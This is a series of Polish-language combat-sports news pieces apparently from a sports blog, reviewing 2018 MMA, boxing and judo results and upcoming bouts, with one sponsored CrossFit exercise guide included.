Podczas gali UFC 226 do historii przeszedł Daniel Cormier. W walce wieczoru "DC" w pierwszej rundzie zastopował Stipe Miocica. Cormier mocnym prawym powalił rywala, a potem ciosami w parterze zwieńczył walkę. Tym samym Amerykanin sięgnął po pas mistrzowski w kategorii ciężkiej. Jednocześnie "DC" posiada tytuł w wadze półciężkiej. Cormier został piątym zawodnikiem w historii, który zdobył dwa pasy mistrzowskie.

Nie udało się wrócić na szczyt. Joanna Jędrzejczyk przegrała rewanż z Rose Namajunas o tytuł w wadze słomkowej. W lipcu Polka wygrała z Tecią Torres, a w grudniu mierzyła się z Walentiną Szewczenko o pas w kategorii muszej. "JJ" przegrała jednak decyzją sędziów.

Do starcia dwóch legend doszło w kwietniu na gali Bellator 198. 42-letni Fedor Emelianenko, mający za sobą występy w Rizin, M-1, Strickeforce czy Pride, błyskawicznie uporał się z byłym czempionem UFC Frankiem Mirem. Rosjanin w 48 sekund rozprawił się z rywalem. W październiku w pierwszej rundzie wygrał z Chaelem Sonnenem.

Szok! Tak należy określić decyzję Mameda Khalidova po gali KSW 46 w Gliwicach. Po porażce w rewanżu z Tomaszem Narkunem, zawodnik urodzony w Groznym podjął decyzję o zakończeniu kariery. Khalidov był czołową postacią KSW, na swoim koncie zapisał tytuły w dwóch kategoriach – średniej i półciężkiej.

W Gliwicach do historii przeszedł Mateusz Gamrot. Po pięciu rundach 28-latek cieszył się ze zwycięstwa w rywalizacji z Kleberem Koike Erbstem oraz pasa w wadze piórkowej. Tym samym "Gamer" dołożył kolejną zdobycz do swojej kolekcji. Od 2016 roku znajduje się w posiadaniu tytułu w wadze lekkiej.

Coraz wyżej w rankingu wagi półciężkiej UFC znajduje się Jan Błachowicz. W 2018 roku urodzony w Cieszynie zawodnik wygrał dwie walki, a łącznie ma serię czterech zwycięstw z rzędu. Coraz poważniej mówi się, że Polak powoli może myśleć o starciu o pas. Jego najbliższy rywalem (luty 2019) będzie Brazylijczyk Thaigo Santos.

Fantastyczna postawa Karola Celińskiego w ACB. W 2018 roku "Cebula" pokonał Luke'a Barnatta i tym samym odniósł czwarte zwycięstwo z rzędu. 16 lutego 2019 roku Polak stanie przed szansą na wywalczenie pasa mistrzowskiego. Podczas gali ACA 92 w Warszawie Celiński zmierzy się z Dovletdzhanem Yagshimuradovem.

W minionym roku piąte urodziny obchodziła organizacja Fight Exlusive Night. Ostatnia gala – numer 22 odbyła się w październiku w Poznaniu. W walce wieczoru Damian Grabowski szybko uporał się z Josée Rodrigo Guelke. Już 12 stycznia w hali RCS w Lubinie gala FEN 23.

Fot. Khabib "the Eagle" Nurmagomedov Facebook

KM

 

Bokserski rok

Za kilka dni powitamy nowy rok. Ten kończący się obfitował w wiele ciekawych wydarzeń, a jego ostatnie godziny to czas podsumowań. Także w świecie sportów walki. Co ciekawego działo się w boksie?

Zapewne jednym z wydarzeń, które utkwiło miłośnikom pięściarstwa w pamięci jest walka Deontaya Wildera z Tysonem Fury'm. Pojedynek miał miejsce 1 grudnia, więc stosunkowo niedawno, ale nie chodzi tu o czas, lecz o atrakcyjność starcia. Wilder i Fury zaprezentowali boks na wysokim poziomie. Pogromca Władimira Kliczki potrafił przeciwstawić się gromiącemu kolejnych rywali Amerykaninowi. Choć Fury leżał na deskach, w przekroju całego starcia zaserwował Wilderowi mnóstwo kłopotów. Werdykt – remis.

W wadze ciężkiej jest niezwykle gorąco! Wilder i Fury chcieliby spotkać się z Anthony'm Joshuą, który rządzi w kategorii królewskiej. W marcu w Cardiff pokonał Josepha Parkera i wzbogacił swoją kolekcję o pas WBO. "AJ" ma na rozkładzie również Aleksandra Powietkina. Joshua znajduje się w posiadaniu pasów IBF, IBO, WBA, WBO.

W 2018 roku zakończyła się I edycja turnieju World Boxing Super Series. Triumfatorem rywalizacji w kategorii super średniej został Callum Smith, który w finale w siódmej rundzie znokautował George'a Grovesa. Udany rok ma za sobą Oleksandr Usyk. Ukrainiec miał na koncie pas mistrzowski WBO w wadze junior ciężkiej, który odebrał we wrześniu 2016 Krzysztofowi Głowackiemu. W 2018 roku do swojej kolekcji dołożył tytuły WBC, IBF i WBA oraz został triumfatorem turnieju WBSS. Na dokładkę Usyk pokonał Tony'ego Bellewa. Bez wątpienia kończący się rok należał do Ukraińca, o którym mówi się, że niebawem będzie boksował w wadze ciężkiej.

We wrześniu w Las Vegas miała miejsce kolejna odsłona rywalizacji Giennadija Gołowkina z Saulem Alvarezem. Pierwsza walka zakończyła się remisem, więc rewanż był nieodzowny. 50. zwycięstwo w karierze na swoim koncie zapisał "Canelo". Sędziowie nie byli jednomyślni, bo pojedynek obfitował w liczne wymiany. Żaden z bokserów się nie oszczędzał, ale dwóch arbitrów wskazało na Alvareza, jeden ocenił walkę jako remisową.

Tymczasowy tytuł WBO wagi junior ciężkiej należy do Krzysztofa Głowackiego. W Chicago Polak pokonał Maksima Własowa, dzięki czemu awansował do półfinału drugiej edycji WBSS. Tam czeka na niego Mairis Briedis.

Z kolei w listopadzie w Gliwicach doszło do wyczekiwanego pojedynku na polskim podwórku. Artur Szpilka pokonał decyzją sędziów Mariusza Wacha, choć werdykt wzbudził spore emocje. Podczas tej samej gali tytuł WBC wagi super półśredniej obroniła Ewa Piątkowska.

Przed świętami w Radomiu Robert Parzęczewski udowodnił, że jest czołowym pięściarzem wagi półciężkiej w Polsce. W Radomiu w drugiej rundzie posłał na deski Dariusza Sęka. "Arab" pozostaje niepokonany od ponad trzech lat.

Fot. Anthony Joshua Facebook

KM

RWC 1: Wygrana Sajewskiego

Tuż przed Świętami Bożego Narodzenia odbyła się pierwsza gala organizacji Rocky Warriors Cartel. W walce wieczoru triumfował Łukasz Sajewski.

W Kościerzynie miało miejsce Nowe Rozdanie. Tak organizacja Rocky Warriors Cartel zatytułowała swoją pierwszą galę, podczas której odbyło się dziewięć pojedynków w MMA i K-1. Na kolejne imprezy czekamy w 2019 roku.

Gwiazdą wieczoru miał być Łukasz Sajewski, który ponad trzy lata czekał na zwycięstwo. Po trzech porażkach "Wookie" pożegnał się z UFC, a w ostatniej walce na gali GMC 17 przegrał z Nordinem Asrihem. Sajewski czekał na czternaste zwycięstwo w karierze i liczył, że przyjdzie ono w Kościerzynie. Jego rywalem był Yury Ryaboy. Sajewski potrzebował niecałych czterech minut, aby poddać Rosjanina. Skuteczna kimura dała Polakowi upragnione zwycięstwo, dzięki któremu przerwał złą passę.

Trzy rundy trwała walka na zasadach K-1 pomiędzy Arturem Bizewskim a Aboodem Al Hassanim. Starcie było niezwykle zacięte, co nie ułatwiło decyzji sędziom. Niejednogłośnie wygrał Al Hassani, dla którego był to ósmy zawodowy triumf. 

Po ciekawej walce dziewiąty triumf na swoim koncie zapisał Kacper Formela, który pokonał decyzją sędziów Sebastiana Rajewskiego. Podczas gali w Kościerzynie nie brakował efektownych zakończeń. W pierwszej rundzie Sławomir Bryla znokautował Dawida Sadowskiego, równie szybko z rywalem uporał się Ireneusz Szydłowski. Drugiej porażki w karierze doznał Marcin Pionke. Jego pogromcą okazał się Cezary Oleksiejczuk.

Wyniki gali Rocky Warriors Cartel: Nowe Rozdanie:

70 kg: Łukasz Sajewski pokonał Yuriy'a Ryaboy'a przez poddanie w pierwszej rundzie
K-1: Adam Abood Al Hassani pokonał Artura Bizewskiego przez niejednogłośną decyzję sędziów
97 kg: Sławomir Bryla pokonał Dawida Sadowskiego przez KO w pierwszej rundzie
70 kg: Kacper Formela pokonał Sebastiana Rajewskiego przez jednogłośną decyzję sędziów
80 kg: Cezary Oleksiejczuk pokonał Marcina Pionkego przez jednogłośną decyzję sędziów
84 kg: Ireneusz Szydłowski pokonał Krzysztofa Sowę przez TKO w pierwszej rundzie
72,5 kg: Kacper Bróździak pokonał Mateusza Makarowskiego przez poddanie w pierwszej rundzie
67 kg: Dawid Śmiełowski pokonał Dawida Matyszczaka przez poddanie w trzeciej rundzie
73 kg: Filip Bątkowski pokonał Sylwestra Ziębę przez poddanie w drugiej rundzie

KM

Wprowadź do swojego treningu te 3 proste ćwiczenia CrossFitowe i zadbaj o lepszą formę!

Bez względu na to w której grupie osób jesteś, zawsze możesz trenować ogólnorozwojowo wykonując ćwiczenia na dużej intensywności – kluczem jest odpowiednie dopasowanie skali trudności konkretnych elementów treningowych. Właśnie dlatego Crossfit może ćwiczyć każdy.

Okej, czym w ogóle jest CrossFit? Wiele osób postrzega to zjawisko jako trend, który pojawił się w siłowniach, ludzie oszaleli na jego punkcie ze względu na jego rewelacyjne efekty w aspekcie odchudzania… Jest w tym trochę prawdy, niemniej jednak musimy pamiętać, że programowanie CrossFitowe to nic innego jak dobrze wszystkim znane ćwiczenia, które połączone w odpowiedni sposób dają nam efekt treningu funkcjonalnego. Mimo, iż ten rodzaj treningu swoje korzenie ma w służbach specjalnych to jego ewolucja sprawiła, że może to robić dosłownie każdy – od nastolatka po starsze osoby!

Oto trzy najpopularniejsze ćwiczenia, które możesz wdrożyć do swoich treningów dla jeszcze lepszych efektów. Będziesz zaskoczony jakie to proste i skuteczne, sprawdź!

  • Burpees – czyli po naszemu wariacja na temat ćwiczenia nazwanego “krokodylki”. Jest to element treningowy, którego zadaniem jest podniesienie tętna w naszym ciele. Doskonałe jeśli chcesz poprawić swoją kondycję i zadbać o ogólny rozwój sylwetki. To ćwiczenie wymaga od nas zaangażowania większości mięśni i wzmacnia nas wydolnościowo. Mimo, że na pozór wygląda banalnie, jest to jedno z bardziej wymagających ćwiczeń, a osoby które trenują CrossFit wiedzą, że jak na tablicy pojawia się to ćwiczenie, trening będzie udany 🙂

Jeżeli nie jesteś w stanie zrobić docelowego ruchu, zmniejsz poziom zaawansowania robiąc burpee na wykrok (bez odskoku/ doskoku nogami). Jest to mniej dynamiczna, ale cały czas wymagająca praca dla Twojego ciała. Jeżeli ta wersja stanowi problem, spróbuj wykonać odłożenie rąk na ziemię z pozycji stojącej, wraz z wyjściem nóg do pozycji pompki.

  • Thruster – To ćwiczenie w słowniku polskim widnieje jako wyciskopodrzut, dlatego od was zależy jaką formę nazewnictwa przyjmiecie 🙂 Jeżeli chodzi o samo ćwiczenie będzie to przysiad z obciążeniem trzymanym z przodu wraz z wypchnięciem ciężaru nad głowę, połączony w jeden płynnie wykonany element treningowy.

Dobrze wykonany przysiad to absolutny fundament każdego treningu Crossfit – jeżeli nie do końca wiesz jak go zrobić poprawnie, zachęcamy do uczestnictwa w klasie INTRO w boxie CrossFitowym – zazwyczaj takie zajęcia są darmowe, a dzięki temu będziesz miał/a fundamentalną wiedzę na temat bardziej skomplikowanych ruchów jak wspomniany wyżej przysiad czy docelowy Thruster.

""

Ciężar, który dobierzesz do Thruster’a będzie najprawdopodobniej uzależniony od możliwości w wypchnięciu ciężaru nad głowę, gdyż ten element będzie w znakomitej większości słabszy niż przysiad.

Spróbuj wykonać w zaciszu domowym kilka przysiadów wraz z uniesieniem rąk w końcowej fazie, tak jakbyś chciał/a wyrzucić coś nad głowę. Jeżeli to nie stanowiło problemu spróbuj delikatnie dodawać obciążenie, pomijając fazę wyrzutu ciężaru nad głowę – na początku do treningu możesz wykorzystać butelki z wodą, z biegiem czasu jeśli zdecydujesz się na treningi w grupie będziesz trenował/a na sztandze, piłce lekarskiej, kettlebells czy na sztangielkach.

  • Double Unders – czyli podwójne skoki na skakance, które stały się znakiem rozpoznawczym CrossFitu 🙂 W tym ćwiczeniu najważniejsze jest opanowanie prawidłowej techniki, a także posiadanie odpowiedniego sprzętu – najlepsze skakanki profilowane pod Crossfit, także dla osób zaczynających swoją przygodę z tą dyscypliną znajdziesz w największym sklepie CrossFitowym w Polsce, czyli unbrokenstore.com

Nie zniechęcaj się jeśli na początku podwójne skoki “nie wchodzą” tak jakbyś tego chciał – niektórzy zawodnicy na światowym poziomie nie mogą poradzić sobie z double unders do tej pory 🙂 To ćwiczenie doskonale zwiększa naszą wydolność i koordynację ruchową. Dodatkowo daje niesamowitą satysfakcję kiedy zrobisz kilka podwójnych skoków pod rząd – niektórzy robią ich w ciągłości nawet ponad 300 razy!

""

Podsumowując, nie rzucaj się od razu na głęboką wodę – jedyne co zrobisz to zniechęcisz się do dalszych ćwiczeń. Rób progresję krok po kroku, a jeżeli uznasz, że jest dobrze, spróbuj swoich sił w boxie CrossFit na zajęciach grupowych. Na początku kluczowa będzie technika wykonywanych elementów. Dobrze gdybyś skonsultował z trenerem lub kompetentną osobą swój plan treningowy w odniesieniu do oczekiwań.

 

Na sam koniec – baw się tym i nie zapominaj, że aktywność fizyczna to najlepsza forma spędzania wolnego czasu. Zawyżone ambicje zostaw za sobą – najważniejsze jest zdrowie!

Autor: Karol Różycki, redaktor naczelny firmowego bloga sklepu crossfit – Unbroken Store

Nowe rozdanie w Kościerzynie

21 grudnia w hali Sokolnia w Kościerzynie premierowa gala organizacji Rocky Warriors Cartel. W akcji zobaczymy m.in. byłego zawodnika UFC Łukasza Sajewskiego.

Rocky Warriors Cartel to nowa organizacja na rynku sportów walki w Polsce. Pierwsze informacje na temat planowanej premierowej gali podmiotu pojawiły się w sierpniu. Wraz z upływem czasu sprawy nabierały kształtu, a organizacja ogłaszała nazwiska kolejnych zawodników, którzy zaprezentują się w Kościerzynie. Debiut coraz bliżej. W Kościerzynie organizacja RWC chce zaaplikować dawkę dobrych pojedynków MMA i K-1.

Niezaprzeczalnie największe wrażenie robi obecność w karcie walk Łukasza Sajewskiego. Popularny "Wookie" znajduje się na zakręcie. Wszystko układało się idealnie – trzynaście kolejnych zwycięstw i przed Sajewskim otworzyły się drzwi do rywalizacji w UFC. Tam przetrwał zaledwie nieco ponad rok. Trzy walki, trzy porażki i koniec przygody. W tym roku Sajewski walczył na gali German MMA Championship 17, jednak przegrał z Nordinem Asrihem. W Kościerzynie będzie miał okazję wrócić na właściwe tory. Polak nie będzie miał łatwego zadania, ponieważ na jego drodze stanie Yury Ryaboy. Rosjanin ma za sobą serię trzech zwycięstw z rzędu.

Podczas gali Rocky Warriors Cartel 1: Nowa Rozdanie zaprezentuje się znany z występów dla organizacji Fight Exclusive Ngiht Artur Bizewski. Pierwotnie popularny "Bizon" w walce na zasadach K-1 miał rywalizować z Bartoszem Zającem, jednak ostatecznie jego rywalem będzie Adam Adoobd Al Hassani. Zawodowy mistrz Polski low kick legitymuje się rekordem siedmiu wygranych walk, z których sześć zakończył przed czasem. Bizewski ostatnio przegrał z Arkadiuszem Wrzoskiem i nic nie wskazuje na to, żeby w Kościerzynie miał ułatwione zadanie, aby osłodzić sobie ostatnie niepowodzenie.

Po dziewiąty triumf będzie zmierzał, uważany za wielki talent polskiego MMA, Kacper Formela. 22-latek ma za sobą występ na gali ACB 63, gdzie zwyciężył Armena Stepanyana, jednak ostatnio na CW 91 przegrał przed czasem z Masonem Jonesem. W Kościerzynie Formela zmierzy się z Sebastianem Rajewskim. Podczas RWC 1 zobaczymy starcie 44-letniego Ireneusza Szydłowskiego z wchodzącym do zawodowego MMA Krzysztofem Sową.

Na ostatniej prostej przed galą RWC 1 z karty walk wypadło aż pięciu zawodników. Z powodu kontuzji z Kościerzynie nie wystąpią Piotr Grażewicz, Bartosz Łukaszewicz, Hubert Lotta, a kłopoty zdrowotne trapią również Igora Michaliszyna. Z powodów osobistych ze startu musiał zrezygnować Tomasz Matusewicz. Organizatorzy dołożyli wszelkich starań, aby wypełnić kartę walk i znaleźć zastępstwa. Sławomir Bryla zmierzy się z Dawidem Sadowskim, a rywalem Marcina Pionke będzie Cezary Oleksiejczuk. Kacper Bróździak spotka się z Mateuszem Makarowskim, Filip Bątkowski w pierwszej zawodowej walce będzie rywalizował z Sylwestrem Ziębą. Podopieczny Krzysztofa Kułaka – Dawid Śmiełowski o trzecie zwycięstwo powalczy z Dawidem Matyszczakiem.

KM

Joshua jednak z Millerem?

W zaplanowanym na 13 kwietnia pojedynku Anthony Joshua chciałby zmierzyć się z Deontayem Wilderem o miano króla wagi ciężkiej. Obóz 29-latka z Watfordu szykuje wyjście awaryjne, gdyby plany nie ziściły się. Z kolei inny pięściarz wagi ciężkiej – Aleksandr Powietkin upatrzył sobie rywala.

Co do Joshuy, jego rywalizacja z Wilderem byłaby wielkim wydarzeniem w boksie. Starcie o panowanie w wadze ciężkiej. Na szali pojawiłyby się pasy: IBF, IBO, WBA, WBO należące do Joshuy oraz WBC, którego właścicielem jest Wilder. 29-latek nie ukrywa, że chciałby spotkać się z Amerykaninem i otwarcie o tym mówi. Z kolei obóz Wildera negocjuje w walkę rewanżową z Tysonem Fury’m. Grudniowe starcie obu pięściarzy przyniosło wiele emocji, jednak zakończyło się remisem. Jeśli strony dojdą do porozumienia w kwestii rewanżu, Joshua będzie musiał poszukać innego rywala.

Obiektem zainteresowań mistrza IBF, IBO, WBA i WBO jest Jarrell Miller. 30-letni Amerykanin w tym roku pokonał Tomasza Adamka, a wcześniej uporał się z Mariuszem Wachem. Miller ma na koncie 23 wygrane, w tym 20 przed czasem. Jeśli Joshua miałby rywalizować z Amerykaninem, musiałby zmienić nieco plany. Zapewne kolejna walka mistrza nie odbyłaby się 13 kwietnia na Wembley. W grę wchodzi zmiana nie tylko terminu, ale i lokalizacji. Starcie Joshuy z Millerem miałoby się odbyć w czerwcu w Madison Square Garden. Istotna w tym kontekście jest również styczniowa walka Amerykanina, która musi zakończyć się jego sukcesem.

Taki rozwój wypadków sprawia, że 13 kwietnia na Wembley możliwa byłaby inna walka – Kell Brook spotkałby się z Amirem Khanem.

Powietkin zapolował

Rosyjski pięściarz Aleksander Powietkin myśli o kolejnej walce. We wrześniu na Wembley poniósł porażkę w mistrzowskim starciu z Anthonym Joshuą. Powietkin chce wrócić do rywalizacji na wiosnę, a jego potencjalnym rywalem miałby być zwycięzca sobotniego (22 grudnia) pojedynku pomiędzy Dillianem Whyte'em a Dereckiem Chisorą. To rewanżowe starcie tych pięściarzy. W grudniu 2016 lepszy okazał się Whyte, który po niezwykle ciekawej walce wygrał niejednogłośnie na punkty.

KM

Krótka przygoda z Guangzhou

W turnieju IJF World Masters w judo w Guangzhou wystąpiło czworo reprezentantów Polski, jednak ich przygoda nie potrwała zbyt długo. Najlepsi w klasyfikacji medalowej okazali się Japończycy.

W tym roku najlepsze zawodniczki i zawodnicy w rankingu Międzynarodowej Federacji Judo zjawili się w Guangzhou. Pierwsze zawody rozegrano osiem lat temu – w Suwon. Wtedy Polacy wywalczyli jedyny jak do tej pory medal – po brąz sięgnęła Urszula Sadkowska (+78kg).

Łącznie na listach startowych w Guangzhou było 230 judoków, w tym czworo Polaków. Po raz trzeci w turnieju Masters wystąpiła Agata Ozdoba-Błach (63kg), która w tym sezonie zapisała na swoim koncie brązowy medal Grand Prix w Budapeszcie. W poprzednich dwóch występach Polka odpadała po pierwszych walkach. Podobnie było w Chinach, gdzie Ozdoba-Błach przegrała z tegoroczną wicemistrzynią świata Miku Tashiro.

Stabilna forma Agaty Perenc (52kg) ponownie pozwoliła jej na występ w turnieju Masteres. Podobnie jak w zeszłym roku, zawodniczka Polonii Rybnik udział w zawodach zakończyła po jednym pojedynku. Perenc przegrała przed czasem z Francuzką Amadine Buchard, która ostatecznie zajęła drugie miejsce. Trzykrotnie stawała na najniższym stopniu w podium w tym roku, jednak w Guangzhou Beata Pacut (78kg) musiała obejść się smakiem. Drugie podejście do turnieju Masters również nieudane w wykonaniu Polki. Pacut przegrała z mistrzynią Europy Madeleine Malongą.

W zeszłorocznym starcie w Sankt Petersburgu Maciej Sarnacki (+100kg) zajął bardzo dobre piąte miejsce. Wyniku nie udało się powtórzyć. Tak jak koleżanki z kadry, zawodnik Gwardii Olsztyn stoczył jedną walkę. Jego pogromcą okazał się Shaotong Yuan.

Japończycy rządzą

Patrząc na klasyfikację medalową nie można mieć wątpliwości, kto rozdaje karty w światowym judo. Turniej w Guangzhou zdominowali Japończycy, którzy zdobyli siedem złotych medali na czternaście możliwych. Dwa razy na najwyższym stopniu podium stanęli Gruzini.

Po ubiegłorocznym srebrze, po złoto sięgnęła Japonka Tsukasa Yoshida (52kg). Drugi triumf w turnieju Masters zaliczył Gruzin Varlam Liparteliani (100kg). Podobnie jego rodak – Guram Tushishvili (+100kg). Trzeci medal, ale w końcu złoty wywalczył Rustam Orujov. Wcześniej reprezentant Azerbejdżanu dwukrotnie stawał na trzecim stopniu podium. Po zwycięstwie w mistrzostwach świata przyszedł czas na triumf w Guangzhou. Taką drogą poszedł Hiszpan Nikoloz Sherazadisvili (90kg).

KM

Skibiński z pasem mistrzowskim Babilon MMA

Gala Babilon MMA 6 wyłoniła pierwszego w historii mistrza organizacji. W Raszynie po pas w kategorii półśredniej sięgnął Daniel Skibiński, który pokonał Pawła Pawlaka.

15 grudnia zapisze się w historii organizacji Babilon MMA 6 jako wyjątkowy dzień. W hali Centrum Sportu Raszyn odbyła się pierwsza walka o pas mistrzowski federacji. Głównymi aktorami widowiska byli niepokonani podczas gal Babilon MMA – Paweł Pawlak i Daniel Skibiński. Pierwszy z nich ma za sobą bogaty bagaż doświadczeń. Pawlak występował w UFC, gdzie stoczył trzy walki. Później rywalizował na galach organizacji FEN i w końcu trafił do Babilon MMA. Dotychczas pokonał Adama Niedźwiedzia i Rafała Lewonia. Z kolei Daniel Skibiński pozostawał niepokonany od dwóch lat. W tym czasie odniósł sześć zwycięstw, trzy na galach Babilon MMA. Skibiński potrzebował zaledwie 20 sekund, aby zwyciężyć Giovanniego Melillo w swoim ostatnim występie w Międzyzdrojach. Od początku w Raszynie 28-latek imponował aktywnością. Skibiński zaliczył dwa udane obalenia, jednak Pawlak nie pozwolił rywalowi na wiele. Druga runda w dużej mierze rozgrywała się pod siatką, choć na początku konieczna była… przerwa. Pawlak trafił rywala w krocze. Skibiński co i raz próbował kolan, mocno trzymał rywala, a ten bronił się i starał się uwolnić z opresji. Trzecia odsłona na korzyść „Skiby”. Po obalenie poszedł Pawlak, jednak inicjatywa była po stronie 28-latka, która próbował duszenia. Pawlak wytrzymał, ale jego rywal prezentował się lepiej, a czas uciekał. Czwarta runda również pod kontrolą Skibińskiego. Na przestrzeni całej walki lepiej prezentował się 28-latek, który w parterze był zdecydowanie aktywniejszy. W stójce Pawlak próbował „ukąsić” rywala, ale nie zagroził Skibińskiemu. Decyzja sędziów mogła być tylko jedna – pas trafił w ręce „Skiby”.

Na jedenaste zwycięstwo liczyli Rafał Haratyk i Maciej Różański, jednak któryś z nich musiał przegrać. Dla zawodnika Berserkers Team Szczecin występ w Raszynie stanowił debiut w Babilon MMA. Po trzech zwycięstwach do miana gwiazdy organizacji urastał Haratyk. Receptą na sukces okazała się walka z dystansu. Haratyk zadawał kolejne ciosy, które dochodziły do celu. Na dystansie trzech rund Różański nie potrafił zagrozić rywalowi. Jednogłośne zwycięstwo Haratyka, dla którego był to czwarty triumf w Babilon MMA.

Ponownie przed czasem zwyciężył Łukasz Brzeski. Od samego początku zawodnik NKSW Hoły Team Nowy Targ ruszył na Michała Orkowskiego. Był mocne ciosy, jednak rywal szukał parteru. Pierwsza runda dała się zawodnikom we znaki, co było widać na początku kolejnej odsłony. Zmęczony Orkowski próbował sprowadzenia, ale skończyło się to dla niego fatalnie. Po czterdziestu sekundach sędzia przerwał walkę. Skuteczne ciosy Brzeskiego dały mu szóste zwycięstwo w karierze.

Pięć wygranych z rzędu, w tym cztery przed czasem, stanowiło mocny atut Adriana Kępy przed pojedynkiem z Damianem Zorczykowskim. Jednak pochodzący z Łomży zawodnik mierzył w trzecie zwycięstwo w Babilon MMA. Zorczykowski szukał obalenia i w końcu je znalazł. W drugiej rundzie skuteczne duszenie zza pleców w wykonaniu 30-latka i Kępa zmuszony był odklepać.

Piotr Kacprzak przeważał w starciu z Filipem Lamparskim, jednak ten długo skutecznie się bronił, jednak na cztery sekundy przed końcem 20-latek triumfował. Z ambicją walczyli młodzi zawodnicy. W trzeciej rundzie skuteczne ciosy w parterze dały zwycięstwo Jakubowi Niewiadomskiemu w starciu z Gabrielem Żmudziem. Jednogłośną decyzją sędziów Paweł Szumlas pokonał Tomasza Smyka.

KM

Kogo na emeryturę chce wysłać Jotko?

Krzysztof Jotko powoli wraca do zdrowia po kontuzji kolana, jednak na jego powrót do oktagonu trzeba poczekać.. Zainteresowany starciem z 29-latkiem jest doświadczony Daniel Kelly. Między zawodnikami wywiązała się dyskusja.

Jotko miał rywalizować o "być albo nie być" w amerykańskiej organizacji podczas gali UFC Fight Night 136 w Moskwie, którą zaplanowano na 15 września. Zawodnik kategorii średniej szykował się do starcia z Adamem Jandijewem. W sierpniu musiał wycofać się z walki z powodu kontuzji. Podczas przygotowań w American Top Team Polak zerwał więzadła w kolanie. Operacja i kilka miesięcy przerwy, aby wrócić do pełnej sprawności.

Dobra postawa polskiego zawodnika sprawiła, że znalazł się w najlepszej dziesiątce dywizji średniej. Fantastyczna seria pięciu zwycięstw z rzędu wysoko wywindowała Jotkę, jednak trzy kolejne porażki postawiły jego przyszłość w UFC pod znakiem zapytania. Następna walka będzie miała dla Polaka dodatkowy ciężar. Porażka może nieść ze sobą określone konsekwencje.

Jotko czeka na powrót, jednak rywale o nim nie zapominają. Do ostatniego pojedynku w karierze przymierza się Daniel Kelly. Australijczyk chciał wystąpić podczas UFC Fight Night 142 w Adelaide, jednak nic z tego nie wyszło. Teraz przymierza się do UFC 234 w Melbourne. Galę zaplanowano na 9 lutego. – Marvin Vettori lub Krzysztof Jotko – któryś z was zainteresowany? – zapytał Kelly na Twitterze. Jotko odpowiedział i wysunął swoją propozycję. – Proszę… Stary tatusiek chce wrócić i dostać lanie od młodszego zawodnika? Będzie to dla mnie przyjemność wysłać cię na emeryturę. Jeśli chcesz, możemy zrobić to w kwietniu.

41-latek nie pozostał dłużny. – Haha, jestem przekonany, że mamy taki sam bilans w UFC. Pokonywałem mocniejszych zawodników. Dlaczego nie luty? Boisz się tu przylecieć? To jeszcze dziewięć tygodni – napisał Kelly. Jotko podał w wątpliwość twierdzenia Australijczyka. – Walczyłeś z mocniejszymi przeciwnikami? Miły żart – podsumował Jotko i dodał. – Miałem poważną kontuzję. Jeśli chciałoby cię po ostatniej walce, wiedziałbyś o tym.

Co warto podkreślić, Kelly również przegrał ostatnie trzy walki. W maju w Liverpoolu Australijczyk poległ w starciu z Tomem Breese.

Fot. Krzysztof Jotko Facebook

KM

Wieczór gwiazd?

Wiadomo, że 13 kwietnia na stadionie Wembley kolejną walkę stoczy mistrz świata IBF, IBO, WBA, WBO w kategorii ciężkiej Anthony Joshua. Czy tego samego dnia w akcji zobaczymy Deontaya Wildera i Tysona Fury'ego?

1 grudnia w Los Angeles pogromca Władimira Kliczko pokazał się z dobrej strony i zaskoczył mistrza świata WBC. Pojedynek zakończył się remisem, choć zdania na temat ostatecznego werdyktu były podzielone. Po walce ruszyły spekulacje na temat ewentualnego rewanżu. Wiadomo również, że zarówno Fury, jak i Wilder mają na celowniku Joshuę. Zatem – jak pogodzić interesy wszystkich?

Z jednej strony Wilder gotów jest dać rewanż Fury’emu, z drugiej chce spełnić swoje marzenia o zdominowaniu wagi ciężkiej. Joshua dał znak, że jest gotowy spotkać się z Amerykaninem. 29-latek pochodzący z Watfordu na pewno zaprezentuje się 13 kwietnia na stadionie Wembley. Promotor Joshuy – Eddie Hearn czyni wysiłki, aby rywalem jego zawodnika był Wilder.

Dobra oferta zapewne przemówiłaby do Amerykanina, ale pojawia się inna opcja. W tym momencie zaczyna się swego rodzaju szaleństwo. Promotor Fury'ego Frank Warren chciałby 13 kwietnia doprowadzić do rewanżu z Wilderem! Wyraźnie widać, że ktoś musiałby być z takiego układu niezadowolony. Zapewne ten, kto "zostałby na lodzie". Rewanż Wilder-Fury w dniu 13 kwietnia pokrzyżowałby plany o walce unifikacyjnej, a zarazem starcie Joshuy zeszłoby na drugi plan. Trzecia płaszczyzna – walka o widzów, a zarazem sprzedaż pakietów pay per view (pojedynek stacji Sky i BT Sport).

Powyższe rozważania prowadzą do jednego wniosku – w każdym rozwiązaniu zwycięzcą będzie Wilder. Chyba, że obóz Fury’ego nagle zacznie interesować się starciem z Joshuą, lecz mistrz również musi wyrazić taką wolę. Dla posiadacza czterech pasów mistrzowskich celem jest Wilder. "Dopóki piłka w grze, wszystko jest możliwe". Teraz Hearn musi przygotować ofertę, która przekona do starcia na Wembley Wildera. Rozmowy na temat potencjalnej walki trwają już kilka miesięcy, jednak porozumienia dotychczas nie osiągnięto. Wiadomo, że starcie przyniesie ogromne zyski, więc potrzeby każdej ze stron muszą być zaspokojone.

Jeśli jednak dojdzie do rewanżu Wilder-Fury, Joshua będzie musiał poszukać innego rywala i na pojedynek unifikacyjny znowu trzeba będzie poczekać. Wśród potencjalnych rywali 29-latka wymienia się Dilliana Whyte’a.

Fot. Deontay Wilder Facebook

KM

Ciągle do przodu

Porażka stanowi jedno z doświadczeń w karierze sportowca. W wielu przypadkach jest przyczyną do bardziej wytężonej pracy i stawiania sobie kolejnych celów. Porażka w starciu z Walentiną Szewczenko, nie zamyka żadnych drzwi w UFC przed Joanną Jędrzejczyk.

31-letnia Polka na przestrzeni trzynastu miesięcy przegrała po raz trzeci walkę o pas. Najpierw straciła tytuł w kategorii słomowej na rzecz Rose Namajunas, później uległa Amerykance w rewanżu, a w pojedynku o mistrzostwo wagi muszej lepsza okazała się Szewczenko. Z pewnością Jędrzejczyk znajduje się na zakręcie. Jeszcze niedawno była na szczycie, wygrywała walkę za walkę i uznawana była za gwiazdę kobiecego MMA. Teraz sytuacja odwróciła się, ale 31-letnia olsztynianka nadal zamierza robić swoje. Hart ducha, ambicja i gotowość do ciężkiej pracy, aby nadal być w czołówce UFC. Z drugiej strony warto zwrócić uwagę, że w rywalizacji pań łatwiej pozostać w obiegu z prostej przyczyny – mniej mocnych nazwisk, które przyciągają uwagę, a zarazem cztery kategorie wagowe. Jędrzejczyk swoich sił próbowała już w dwóch z nich.

